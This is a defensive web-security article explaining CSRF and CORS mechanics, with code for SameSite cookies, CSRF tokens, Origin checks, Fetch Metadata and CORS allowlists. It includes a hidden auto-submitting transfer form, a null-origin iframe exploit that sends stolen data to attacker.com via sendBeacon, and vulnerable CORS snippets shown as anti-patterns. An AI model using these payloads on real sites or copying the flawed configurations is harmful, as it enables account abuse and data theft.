CSRF and CORS Defense for Modern Web Applications

CSRF and CORS sit on opposite sides of the same problem: how the browser manages cross-origin trust on behalf of an already-authenticated user. CSRF exploits ambient authority — the browser attaches your cookies to a request the user did not intend. CORS is the controlled relaxation of the same-origin policy so the response can be read by JavaScript on a different origin. Conflating the two is one of the most consistent ways production code breaks: CORS is not a CSRF defense, and SameSite is not a CORS substitute.

This article covers the spec-level mechanics of both, the defense layers a modern stack should adopt together, and the misconfigurations that turn either into a foot-gun. The target reader is a senior engineer who needs to design or audit cookie attributes, CSRF tokens, and CORS headers for a production SPA + JSON API.

Mental model

• Same-Origin Policy (SOP) is the browser’s default. Scripts on A cannot read responses, DOM, or storage belonging to B when A and B differ in scheme, host, or port¹.
• CSRF abuses ambient authority. Cookies for bank.com are attached to any request to bank.com regardless of which page initiated it, so an attacker page can trigger writes the user never approved.
• CORS is not a security boundary. It does not prevent requests from being sent. It governs whether JavaScript on the initiating origin is allowed to read the response. A well-configured server still receives the request — and if that request can mutate state, you also need a CSRF defense.
• Sec-Fetch-* headers give the server the request’s context (was it a navigation? a same-origin XHR? an <img>?), letting you reject obviously hostile shapes before any token check.

Defense in depth is non-negotiable: each individual control has a documented bypass. The combination is what holds.

The CSRF threat model

CSRF (Cross-Site Request Forgery) tricks an authenticated user’s browser into making a state-changing request to a target origin. The attacker does not need to read the response; they only need the request to fire with the user’s cookies attached.

Attack mechanics

The attack requires three preconditions, all of which the user-agent provides by default:

1. The user is authenticated to the target with a session cookie that the browser will attach automatically.
2. The target authorizes the action based on that cookie alone (no per-request token, no origin check).
3. The attacker can induce the user’s browser to issue the request — via <img>, <form>, fetch(), <link rel="prefetch">, or any other element that initiates a network request.

The browser sees a request to bank.com and attaches bank.com’s cookies as it always does. The server has nothing in the request that distinguishes the attacker-induced POST from a deliberate one — both carry the same valid session cookie.

Attack vectors

Example — hidden auto-submitted form:

1<form action="https://bank.com/transfer" method="POST" id="evil">2  <input type="hidden" name="to" value="attacker-account" />3  <input type="hidden" name="amount" value="10000" />4</form>5<script>6  document.getElementById("evil").submit()7</script>

What CSRF cannot do

• Read responses. Same-origin policy blocks JavaScript on the attacker page from reading the response body¹. CSRF is write-only by construction.
• Forge requests with custom headers without preflight. Setting any non-CORS-safelisted header (e.g. X-CSRF-Token, Authorization, or any custom name) forces an OPTIONS preflight that the target server can refuse⁴.
• Bypass SameSite=Strict. Strict cookies are not attached on cross-site requests at all.
• Extract CSRF tokens from rendered pages. That requires XSS — a different and stronger vulnerability.

SameSite cookies

SameSite is the primary CSRF defense because it operates at the user agent, before the request is built. Its semantics are normatively defined in draft-ietf-httpbis-rfc6265bis-22 §5.5 (December 2025), the active draft of the cookies spec that obsoletes RFC 6265.

Enforcement modes

Per the spec, any unrecognized SameSite value falls back to Lax enforcement, and a missing attribute is treated as Default (which user agents map to Lax in modern browsers).

”Same-site” vs “same-origin”

These are not the same. Two requests are same-site when the registrable domain matches (eTLD+1 per the Public Suffix List). Two requests are same-origin when scheme, host, and port all match.

• https://app.example.com ↔ https://api.example.com → same-site, cross-origin
• https://example.com ↔ https://example.co.uk → cross-site (different registrable domains)
• http://example.com ↔ https://example.com → cross-site under Schemeful Same-Site

This matters for __Host- cookies and for SameSite enforcement: a subdomain takeover on abandoned.example.com is still same-site with app.example.com.

Default behavior in 2026

Chrome 80 (Feb 2020, gradually re-rolled out July 2020 with Chrome 84 after a COVID rollback) was the first mainstream browser to treat cookies without an explicit SameSite attribute as Lax. Edge mirrors Chromium. Firefox and Safari handle defaults inconsistently across versions.

1Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/

Lax-allowing-unsafe (the “Lax+POST” exception)

When Chrome shipped Lax-by-default, it broke SSO flows that relied on cross-site POST callbacks (SAML, some OAuth modes). The mitigation codified in rfc6265bis-22 §5.5 is the Lax-allowing-unsafe enforcement mode:

• It is not a SameSite value you set on a cookie.
• It is an enforcement mode the user agent MAY apply to cookies that did not explicitly specify a SameSite attribute.
• When active, those cookies are attached to top-level cross-site navigations using unsafe methods (e.g. POST) provided the cookie age is at most 2 minutes (the spec’s recommended ceiling).

Cookie prefixes: __Host- and __Secure-

Cookie name prefixes (rfc6265bis-22 §4.1.3) let the server pin security properties through the cookie name itself. The browser refuses to set a cookie that violates the prefix’s invariants, so the guarantees survive misconfigured proxies, CDNs, and frameworks.

__Host- is the strictest: it makes the cookie un-overwriteable by sibling subdomains. If app.example.com issues __Host-session, an attacker who takes over evil.example.com cannot displace it; without the prefix, a sibling subdomain could write a Domain=example.com cookie that shadows or replaces the legitimate one⁶.

1Set-Cookie: __Host-session=abc123; Secure; HttpOnly; Path=/; SameSite=Strict

The trade-off: __Host- cookies cannot be shared across subdomains. If your auth domain (auth.example.com) needs to issue cookies that the application domain (app.example.com) reads, use __Secure- and a Domain=example.com attribute, accepting the sibling-subdomain risk in exchange.

Picking a SameSite mode

SameSite behavior matrix

The exact “is the cookie sent?” answer depends on three things: the cookie’s SameSite mode, the request’s site relationship to the cookie’s site, and — for cross-site requests — whether it is a top-level navigation and its HTTP method.

Partitioned cookies (CHIPS)

Cookies Having Independent Partitioned State (CHIPS) adds a Partitioned attribute that double-keys the cookie on (top-level site, cookie host) instead of just the cookie host. A widget embedded on news.example and the same widget embedded on shop.example see separate cookie jars even though they share a registrable domain. Shipped in Chromium 114; reached the cross-engine “newly available” baseline in December 2025⁸.

1Set-Cookie: __Host-widget=abc123; Secure; Path=/; SameSite=None; Partitioned

CHIPS is a cross-site state control, not a CSRF defense. A request from news.example to the embedded widget on widget.example is still cross-site, so partitioned cookies tagged SameSite=None are still attached to attacker-induced requests inside that same partition. Pair them with the same CSRF token + Origin allowlist + Fetch Metadata stack you would use for any other SameSite=None cookie.

What SameSite does not protect against

1. Same-site XSS. A script running on any subdomain shares the SameSite cookie scope. SameSite does nothing against attacks already inside the trust boundary.
2. Subdomain takeover. An abandoned *.example.com host that an attacker can register or DNS-hijack is same-site with everything else under example.com.
3. Same-site GET state changes. If GET /transfer?to=evil mutates state, SameSite=Lax will happily attach the cookie on a top-level navigation. (Don’t do that — but the SameSite layer is not what saves you.)
4. Speculation / prerender / prefetch. User-initiated speculative loads can carry credentials in some browsers; this is a moving target³.

The takeaway: SameSite is necessary, never sufficient. Always pair it with a server-side defense for state-changing endpoints.

CSRF tokens

CSRF tokens add per-request authentication beyond the ambient cookie. The server embeds a secret value in the rendered page (or sets it as a non-HTTP cookie), and validates that the value comes back with each state-changing request. The attacker’s page cannot read the token cross-origin, so cannot include the right value in a forged request.

Synchronizer token pattern (stateful)

The server generates a random token, stashes it in the user’s session record, and embeds it in forms or returns it in a JSON bootstrap.

1import crypto from "crypto"23class SynchronizerTokenManager {4  generateToken(session) {5    const token = crypto.randomBytes(32).toString("hex")6    session.csrfToken = token7    return token8  }910  verifyToken(session, submittedToken) {11    if (!session.csrfToken || !submittedToken) return false12    const expected = Buffer.from(session.csrfToken)13    const submitted = Buffer.from(submittedToken)14    if (expected.length !== submitted.length) return false15    return crypto.timingSafeEqual(expected, submitted)16  }17}1819app.use((req, res, next) => {20  if (!req.session.csrfToken) {21    req.session.csrfToken = crypto.randomBytes(32).toString("hex")22  }23  res.locals.csrfToken = req.session.csrfToken24  next()25})

Use crypto.timingSafeEqual to defeat timing oracles on the comparison. Always length-check first — timingSafeEqual throws RangeError when the buffers differ in length, which would otherwise leak a partial oracle through the exception path.

Signed double-submit cookie (stateless)

Recommended by OWASP when you cannot keep server-side state. The server sets a CSRF cookie and requires the same value in a header or body field. The trick is the signing: the token is bound to the session via HMAC so an attacker who can write a cookie cannot simply set both sides to a value of their choice.

OWASP’s recommended construction:

1message = sessionID.length + "!" + sessionID + "!" + randomValue.length + "!" + randomValue2hmac    = HMAC_SHA256(serverSecret, message)3token   = hex(hmac) + "." + hex(randomValue)

The length-prefix delimiters defend against ambiguity attacks where an attacker who controls part of the input could rearrange components to produce a colliding HMAC.

1import crypto from "crypto"23class SignedDoubleSubmitCSRF {4  constructor(secretKey) {5    this.secretKey = secretKey6  }78  generateToken(sessionId) {9    const rand = crypto.randomBytes(16).toString("hex")10    const message = `${sessionId.length}!${sessionId}!${rand.length}!${rand}`11    const hmac = crypto12      .createHmac("sha256", this.secretKey)13      .update(message)14      .digest("hex")15    return `${hmac}.${rand}`16  }1718  verifyToken(sessionId, token) {19    if (!token || !token.includes(".")) return false20    const [submittedHmac, rand] = token.split(".")21    const message = `${sessionId.length}!${sessionId}!${rand.length}!${rand}`22    const expected = crypto23      .createHmac("sha256", this.secretKey)24      .update(message)25      .digest("hex")26    if (submittedHmac.length !== expected.length) return false27    return crypto.timingSafeEqual(28      Buffer.from(submittedHmac),29      Buffer.from(expected),30    )31  }32}3334app.post("/api/transfer", (req, res) => {35  const cookieToken = req.cookies["__Host-csrf"]36  const headerToken = req.headers["x-csrf-token"]3738  if (39    !cookieToken ||40    cookieToken !== headerToken ||41    !csrf.verifyToken(req.session.id, headerToken)42  ) {43    return res.status(403).json({ error: "CSRF validation failed" })44  }45  // process request46})

Custom request header

The simplest server-side CSRF defense for AJAX is to require a custom request header on state-changing methods. Any header outside the CORS-safelisted set forces a CORS preflight, which the cross-origin attacker page cannot satisfy without the server’s explicit Access-Control-Allow-Headers.

1function requireCustomHeader(req, res, next) {2  if (["POST", "PUT", "DELETE", "PATCH"].includes(req.method)) {3    if (req.headers["x-requested-with"] !== "XMLHttpRequest") {4      return res.status(403).json({ error: "Missing CSRF header" })5    }6  }7  next()8}910await fetch("/api/transfer", {11  method: "POST",12  headers: {13    "Content-Type": "application/json",14    "X-Requested-With": "XMLHttpRequest",15  },16  credentials: "include",17  body: JSON.stringify({ amount: 100 }),18})

This works because application/json is also not in the safelisted content-type list⁴, so even without the custom header the request would preflight. Two failure modes to watch for:

• HTML form submissions are simple requests by design — they cannot set custom headers and they always work cross-site. Custom headers do not defend forms; pair this with origin verification.
• Service workers and proxies sometimes strip X-Requested-With. Don’t rely on a single header existing; combine with a real CSRF token.

Origin / Referer verification

Origin and Referer are forbidden request-header names in the Fetch standard — JavaScript cannot set or override them. That makes them trustworthy when present. The Origin header itself is defined by RFC 6454 as the (scheme, host, port) tuple of the request initiator, or the literal string null for opaque origins. The catch is when they are absent: privacy modes, Referrer-Policy: no-referrer, certain <meta> policies, and intra-origin tooling can strip both.

1const ALLOWED_ORIGINS = new Set([2  "https://app.example.com",3  "https://www.example.com",4])56function verifyOrigin(req, res, next) {7  const origin = req.headers["origin"]8  const referer = req.headers["referer"]910  let sourceOrigin = origin || null11  if (!sourceOrigin && referer) {12    try {13      sourceOrigin = new URL(referer).origin14    } catch {15      sourceOrigin = null16    }17  }1819  if (sourceOrigin === "null") {20    return res.status(403).json({ error: "Null origin not allowed" })21  }2223  if (sourceOrigin && !ALLOWED_ORIGINS.has(sourceOrigin)) {24    return res.status(403).json({ error: "Origin not allowed" })25  }2627  if (!sourceOrigin && req.method !== "GET") {28    return res.status(403).json({ error: "Missing origin/referer" })29  }30  next()31}

Reject requests where both headers are absent on state-changing methods — that case should fall back to a token, not “trust by silence”. Treat the literal string "null" as hostile, never as “missing”.

Fetch Metadata: server-side request filtering

Fetch Metadata Request Headers (W3C Working Draft, last updated 2025-04-01) attach Sec-Fetch-* headers to every outgoing request, telling the server what kind of fetch it is before the server has to inspect cookies, paths, or bodies. The Sec- prefix is forbidden to JavaScript, so attackers cannot spoof the request shape.

Header values

Sec-Fetch-Site — relationship between the request initiator and the target:

Sec-Fetch-Mode — request mode:

Sec-Fetch-Dest — destination context (e.g. document, iframe, script, image, style, font, empty for fetch() / XHR, audio, video, worker, serviceworker).

Sec-Fetch-User — ?1 if the navigation was activated by a user gesture (click, keyboard); omitted otherwise.

Resource Isolation Policy

A typical guard rejects everything cross-site by default and explicitly opens up the public-asset and CORS API surface:

1function fetchMetadataPolicy(req, res, next) {2  const site = req.headers["sec-fetch-site"]3  const mode = req.headers["sec-fetch-mode"]4  const dest = req.headers["sec-fetch-dest"]56  if (!site) return next() // legacy browser, fall through to other layers78  if (site === "same-origin" || site === "none") return next()910  if (site === "same-site" && mode === "navigate") return next()1112  if (site === "cross-site") {13    if (14      (dest === "image" || dest === "script" || dest === "style") &&15      req.path.startsWith("/public/")16    ) {17      return next()18    }19    return res.status(403).json({ error: "Cross-site request blocked" })20  }21  next()22}

Pair this with the Resource Isolation pattern from web.dev — Protect your resources from web attacks with Fetch Metadata: deny everything cross-site that is not an explicit GET embed of a public asset or a CORS-tagged API call.

Browser support

Per MDN (verified April 2026):

Treat Fetch Metadata as a defense-in-depth layer, not the sole defense: older browsers and a small share of clients send no Sec-Fetch-* headers at all. Reject hostile shapes, but always fall through to your token check when the headers are missing.

CORS: controlled SOP relaxation

CORS is a browser mechanism that lets a server declare which foreign origins are allowed to read its responses. It does not authenticate the request, it does not stop the request from being sent, and it does not police what the server does with the request — it only changes what JavaScript on the initiating origin can observe in the response.

Same-Origin Policy refresher

Two URLs share an origin when scheme, host, and port all match. SOP blocks:

• JavaScript reading cross-origin response bodies and headers (other than a small CORS-safelisted set)
• Reading cross-origin DOM, localStorage, sessionStorage, IndexedDB
• Direct cross-origin cookie access from JavaScript

It does not block:

• Sending cross-origin requests (<img>, <form>, fetch with mode: 'no-cors')
• Embedding cross-origin resources (<img>, <script>, <link>, <iframe>)
• Cross-origin form submissions

That last point is the entire reason CSRF is its own problem: SOP intentionally allows the request, just not the read.

Simple vs. preflighted requests

A request is “simple” — no preflight required — when all of the following hold (Fetch Standard):

1. Method is GET, HEAD, or POST.
2. Every header outside the safelist (Accept, Accept-Language, Content-Language, Content-Type with restrictions, Range) is absent.
3. If Content-Type is set, its value is one of application/x-www-form-urlencoded, multipart/form-data, or text/plain.
4. No ReadableStream in the request body.
5. No upload event listeners on XMLHttpRequest.upload (no upload progress event listeners).
6. No custom CORS-safelisted-request-header value exceeds 128 bytes, and the total byte length of all CORS-safelisted-request-headers is at most 1024 bytes⁹.

Anything else triggers an OPTIONS preflight. The implication for security design: defaulting to JSON request bodies (Content-Type: application/json) or any custom header automatically forces a preflight, giving the server a chance to reject before the real request runs.

1OPTIONS /api/data HTTP/1.12Host: api.example.com3Origin: https://app.example.com4Access-Control-Request-Method: POST5Access-Control-Request-Headers: content-type, x-csrf-token

1HTTP/1.1 204 No Content2Access-Control-Allow-Origin: https://app.example.com3Access-Control-Allow-Methods: POST, GET, OPTIONS4Access-Control-Allow-Headers: Content-Type, X-CSRF-Token5Access-Control-Allow-Credentials: true6Access-Control-Max-Age: 72007Vary: Origin

CORS response headers

Credentials and wildcards

Per the Fetch standard, when Access-Control-Allow-Credentials: true, none of the response headers above may use the wildcard *. The browser hard-rejects the response.

1Access-Control-Allow-Origin: *2Access-Control-Allow-Credentials: true

1Access-Control-Allow-Origin: https://app.example.com2Access-Control-Allow-Credentials: true3Vary: Origin

When you reflect the Origin request header back as Allow-Origin (the allowlist pattern), include Vary: Origin so intermediate caches don’t serve a response permitted for one origin to a different one¹⁰.

The CORS preflight cache

Access-Control-Max-Age advertises how long the browser may cache a preflight result. The actual cap is browser-defined and considerably tighter than what most servers send:

The default when the header is missing is 5 seconds¹¹. The cache key is (origin, URL, credentials mode) — a cached preflight for credentials: 'omit' is not reused for credentials: 'include', and preflights are not shared across methods or header sets. Setting Access-Control-Max-Age: 86400 is harmless on Chromium (it’ll be capped at 7200) but worth being aware of when you’re trying to predict load.

CORS misconfigurations and attacks

Almost every published CORS bug fits one of four shapes. PortSwigger’s Exploiting CORS misconfigurations remains the canonical taxonomy.

Reflected origin

The server reflects whatever Origin header arrived, with credentials.

1app.use((req, res, next) => {2  res.setHeader("Access-Control-Allow-Origin", req.headers.origin)3  res.setHeader("Access-Control-Allow-Credentials", "true")4  next()5})

Any attacker page can fetch authenticated responses. Fix by validating against an explicit set:

1const ALLOWED_ORIGINS = new Set([2  "https://app.example.com",3  "https://staging.example.com",4])56app.use((req, res, next) => {7  const origin = req.headers.origin8  if (origin && ALLOWED_ORIGINS.has(origin)) {9    res.setHeader("Access-Control-Allow-Origin", origin)10    res.setHeader("Access-Control-Allow-Credentials", "true")11    res.setHeader("Vary", "Origin")12  }13  next()14})

Trusting null

Browsers send Origin: null from sandboxed iframes (without allow-same-origin), data: URIs, file: URIs, requests originating from serialized data, and across some redirect chains. Any attacker page can synthesize the first two.

1Access-Control-Allow-Origin: null2Access-Control-Allow-Credentials: true

The exploit pattern (e.g. CVE-2019-9580 against StackStorm st2web):

1<iframe2  sandbox="allow-scripts allow-top-navigation allow-forms"3  src="data:text/html,<script>4    fetch('https://api.vulnerable.com/user/data', { credentials: 'include' })5      .then(r => r.json())6      .then(d => navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(d)))7  </script>">8</iframe>

Never allowlist the literal null. If a workflow truly needs null-origin access (some local-dev tooling), restrict it to non-credentialed, non-sensitive endpoints.

Origin-validation regex bypass

A regex without an end-anchor is the classic foot-gun:

1const allowed = /^https:\/\/.*\.example\.com/2if (allowed.test(origin)) {3  res.setHeader("Access-Control-Allow-Origin", origin)4}5// Bypassed by https://example.com.attacker.com — matches the regex

Prefer literal-set comparisons (Set.has) over regex. If you must use a regex, anchor both ends and constrain character classes:

1const allowed = /^https:\/\/[a-z0-9-]+\.example\.com$/

Subdomain wildcards

Allowlisting *.example.com makes you only as strong as the weakest subdomain. Subdomain takeover (DNS records pointing at decommissioned cloud services) lets an attacker take an apparent example.com subdomain and inherit your CORS trust. So do typo-domains like examp1e.example.com if matched naively. Mitigate with:

• Explicit allowlist of in-use subdomains, regenerated from infrastructure-as-code.
• DNS hygiene: an automated audit that flags CNAMEs to deprovisioned services.
• Refuse Origin values whose hostname does not match a known label.

Adjacent browser security headers

CSRF and CORS sit inside a wider browser security header surface. The following controls are frequently confused with CSRF / CORS and live alongside them; treat them as separate layers with distinct threat models.

The COOP / COEP / CORP triad delivers cross-origin isolation — a stronger isolation context that re-enables high-resolution timers and SharedArrayBuffer while making cross-origin leaks (Spectre, side-channels) much harder. It does not replace CORS, SameSite, or CSRF tokens; it adds a separate boundary at the document and resource level.

Defense-in-depth blueprint

For a typical SPA + JSON API, compose the layers:

Cookie defaults to start from

1Set-Cookie: __Host-session=...; Secure; HttpOnly; SameSite=Strict; Path=/2Set-Cookie: __Host-csrf=...;     Secure; HttpOnly; SameSite=Strict; Path=/

If you must support cross-site embeds, the only safe relaxation is SameSite=None; Secure for the embedded cookie, with the CSRF defense upgraded accordingly.

CSRF defense layers

1. Browser layer. SameSite=Strict (or Lax if you must allow top-level navigations from outside).
2. Server layer A — token. Synchronizer for stateful apps; signed double-submit (__Host- cookie + matching header) for stateless apps.
3. Server layer B — origin. Allowlist Origin; reject null and missing on state-changing methods.
4. Server layer C — Fetch Metadata. Reject Sec-Fetch-Site: cross-site for non-public endpoints; allow none for direct user navigations.

CORS defaults to start from

1const corsOptions = {2  origin: (origin, cb) => {3    const ALLOWED = new Set([4      "https://app.example.com",5      "https://admin.example.com",6    ])7    if (!origin) return cb(null, true) // same-origin or curl8    return ALLOWED.has(origin) ? cb(null, true) : cb(new Error("CORS blocked"))9  },10  methods: ["GET", "POST", "PUT", "DELETE"],11  allowedHeaders: ["Content-Type", "Authorization", "X-CSRF-Token"],12  exposedHeaders: ["X-Request-Id"],13  credentials: true,14  maxAge: 7200,15  optionsSuccessStatus: 204,16}1718app.use(cors(corsOptions))19app.use((req, res, next) => {20  res.setHeader("Vary", "Origin")21  next()22})

Operational checklist:

• Never * with credentials: true.
• Validate Origin against an explicit allowlist; never reflect blindly.
• Treat Origin: null as hostile; never allow with credentials.
• Always include Vary: Origin when responses depend on Origin.
• Cap maxAge to a value the browser will actually honour (≤ 7200 for Chromium, ≤ 86400 for Firefox).
• Minimize Access-Control-Expose-Headers to what JS truly needs.
• Audit subdomain DNS regularly to prevent takeover-driven CORS bypasses.

Testing and monitoring

Manual probes

1curl -i -X POST https://app.example.com/api/transfer \2  -H "Cookie: __Host-session=valid_session" \3  -H "Content-Type: application/json" \4  -d '{"amount":100}'5# Expected: 403 (CSRF token missing)

1curl -i -X POST https://app.example.com/api/transfer \2  -H "Cookie: __Host-session=valid_session" \3  -H "Origin: https://attacker.com" \4  -H "Content-Type: application/json" \5  -d '{"amount":100}'6# Expected: 403 (origin not in allowlist)

1curl -i -X OPTIONS https://api.example.com/data \2  -H "Origin: https://attacker.com" \3  -H "Access-Control-Request-Method: POST" \4  -H "Access-Control-Request-Headers: x-csrf-token"5# Expected: no Access-Control-Allow-Origin header for attacker.com

1curl -i https://api.example.com/data -H "Origin: null"2# Expected: no Access-Control-Allow-Origin: null

Telemetry

Log every 403 attributable to a security check. Useful fields: Origin, Referer, Sec-Fetch-Site, Sec-Fetch-Mode, the rule that fired, the session id, the source IP, and the user-agent.

1function securityEventLogger(req, res, next) {2  const originalEnd = res.end3  res.end = function (...args) {4    if (res.statusCode === 403) {5      logger.warn("security_block", {6        reason: res.locals.securityBlockReason,7        ip: req.ip,8        origin: req.headers.origin || null,9        referer: req.headers.referer || null,10        sec_fetch_site: req.headers["sec-fetch-site"] || null,11        sec_fetch_mode: req.headers["sec-fetch-mode"] || null,12        path: req.path,13        method: req.method,14        ua: req.headers["user-agent"],15      })16    }17    originalEnd.apply(this, args)18  }19  next()20}

Useful alerts:

• Spike in CSRF token failures from a single session — rotation bug or in-progress attack.
• Repeated Origin: null from credentialed requests — exploitation probing.
• Burst of preflight failures from a single IP — CORS attack reconnaissance.
• Sustained Sec-Fetch-Site: cross-site POSTs to non-public endpoints — pre-attack scanning.

Practical takeaways

• Treat CSRF and CORS as separate problems. CORS does not stop CSRF; SameSite does not control cross-origin reads.
• Default cookies to __Host-…; Secure; HttpOnly; SameSite=Strict; Path=/. Only relax with a documented reason and a compensating control.
• Combine SameSite (browser) + signed double-submit token (server) + Origin allowlist (server) + Fetch Metadata (modern server) — every layer has a documented bypass; the composition does not.
• For CORS, allowlist origins explicitly, never reflect, never trust null with credentials, always set Vary: Origin, and accept that browsers will cap Access-Control-Max-Age lower than you set it.
• Monitor 403s with full request context. Most CSRF/CORS exploitation surfaces as quiet anomalies in the security log before it surfaces as data loss.

Appendix

Prerequisites

• HTTP cookie mechanics and Set-Cookie attribute syntax.
• Same-origin policy and the (scheme, host, port) origin tuple.
• HMAC, constant-time comparison, and basic random-number sourcing.

Terminology

References

Specifications

• draft-ietf-httpbis-rfc6265bis-22 — Cookies: HTTP State Management Mechanism (December 2025)
• WHATWG Fetch Standard — CORS protocol, simple-request criteria, forbidden header names
• W3C Fetch Metadata Request Headers (Working Draft, 2025-04-01)

Vendor and standards documentation

• OWASP CSRF Prevention Cheat Sheet
• MDN — CORS
• MDN — Set-Cookie / SameSite
• MDN — Access-Control-Max-Age
• web.dev — SameSite cookies explained
• web.dev — Protect your resources with Fetch Metadata
• Chromium SameSite Updates
• MDN — Cookies Having Independent Partitioned State (CHIPS)
• Privacy Sandbox — CHIPS
• web.dev — Why you need cross-origin isolated for powerful features (COOP / COEP)
• Fetch Standard — Cross-Origin-Resource-Policy
• RFC 6454 — The Web Origin Concept

Security research

• PortSwigger — Cross-origin resource sharing (CORS)
• PortSwigger — Bypassing SameSite cookie restrictions
• PortSwigger Research — Exploiting CORS misconfigurations for Bitcoins and bounties
• CVE-2019-9580 — StackStorm st2web null origin CORS bypass